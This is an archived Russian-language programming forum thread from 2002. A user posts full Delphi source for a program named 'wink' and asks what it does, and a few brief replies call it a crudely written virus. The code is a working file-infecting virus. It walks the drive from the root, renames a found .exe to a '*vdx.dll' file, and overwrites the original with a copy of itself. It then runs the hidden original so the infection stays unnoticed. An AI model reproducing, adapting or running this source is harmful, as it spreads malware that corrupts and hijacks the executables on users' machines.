Форум: "Основная";
Текущий архив: 2002.10.31;
Скачать: [xml.tar.bz2];
ВнизЧЕ это делает? Найти похожие ветки
← →
X-Shadow (2002-10-21 23:26) [0]Люди помогите плиз что это делает?
program wink;
uses
windows,sysutils;
const
mysize=42496;
var
FileName:string;
TypeFile:longword;
counter:integer=0;
TmpDir : TFilename;
SavedDir : TFilename;
StartDir: TFilename;
DirSrcRec : TSearchRec;
FileSrcRec : TSearchRec;
FileInf:String;
FileInfN:string;
FILENn:integer;
StartupInfo: TStartupInfo;
lpProcess: TProcessInformation;
PROCEDURE INFECT(FILEinfect:STRING);
var
FILEN:Integer;
BEGIN
FileInf:=TmpDIr+ExtractFileName(FileName);
FILEN:=pos(".",FileInf);
Delete(FileInf,Filen,filen+4);
FileInf:=FileInf+"vdx.dll";
MoveFile(pchar(filename),Pchar(FileInf));
CopyFile(Pchar(Paramstr(0)),PCHAR(filename),false);
END;
PROCEDURE SCAN;
var
ErNum : Integer;
EXT : String;
begin
GetDir(0,TmpDir);
if tmpDir[length(tmpdir)]<>"\" then TmpDir:=TmpDir+"\";
ErNum:= FindFirst(tmpdir+"*.exe",not (faReadOnly or
faHidden),FileSrcRec);
while ErNum = 0 do
begin
FileName:=Concat(tmpDir,FileSrcRec.Name);
Ext:=ExtractFileExt(FileName);
GetBinaryType(pChar(FileName),TypeFile);
if (FileName[Length(FileName)]<>".") and
(UPPERCASE(ext)=".EXE") and
(FileSrcRec.size<>MySize) and
(Counter<1) then
begin
inc(Counter);
Infect(FileName);
end;
ErNum := FindNext(FileSrcRec);
end;
FindClose(FileSrcRec);
ErNum := FindFirst("*.*",faDIRECTORY,DirSrcRec);
while ErNum = 0 do
begin
if ((DirSrcRec.Attr and faDIRECTORY) <> 0) and (DirSrcRec.Name[1] <>
".") then
begin
ChDir(DirSrcRec.Name);
Scan;
ChDir(TmpDir);
end;
ErNum := FindNext(DirSrcRec);
end;
SysUtils.FindClose(DirSrcRec);
end;
begin
FileInfN:=ExtractFileName(Paramstr(0));
FILENn:=pos(".",FileInfN);
Delete(FileInfN,FilenN,filenN+4);
FileInfN:=FileInfN+"vdx.dll";
CopyFile(Pchar(FileInfN), Pchar(FileINfN+".EXE"),false);
FileSetAttr(Pchar(FileInfN+".EXE"),faHidden);
IF
CreateProcess(pchar(FileINfN+".EXE"),nil,NIL,NIL,false,NORMAL_PRIORITY_CLASS,NIL,nil,StartupInfo,lpProcess)
Then
Begin
StartDir:=ExtractFileDrive(Paramstr(0));
ChDir(ExtractFileDrive(Paramstr(0))+"\");
Scan;
ChDir(SavedDir);
End;
DeleteFile(Pchar(FileINfN+".EXE"));
StartDir:=ExtractFileDrive(Paramstr(0));
ChDir(ExtractFileDrive(Paramstr(0))+"\");
Scan;
ChDir(SavedDir);
end;
← →
Jeer (2002-10-22 00:19) [1]Эк тебя..
К дохтуру в самый раз.
← →
Viktor Kushnir (2002-10-22 08:27) [2]А ты запускать пробывал?
← →
MetalFan (2002-10-22 08:38) [3]какой-то вирусняк... криво написанный))))
явно... пошутил автор, интересно, кто-нить это у себя запустил?
Страницы: 1 вся ветка
Форум: "Основная";
Текущий архив: 2002.10.31;
Скачать: [xml.tar.bz2];
Память: 0.45 MB
Время: 0.014 c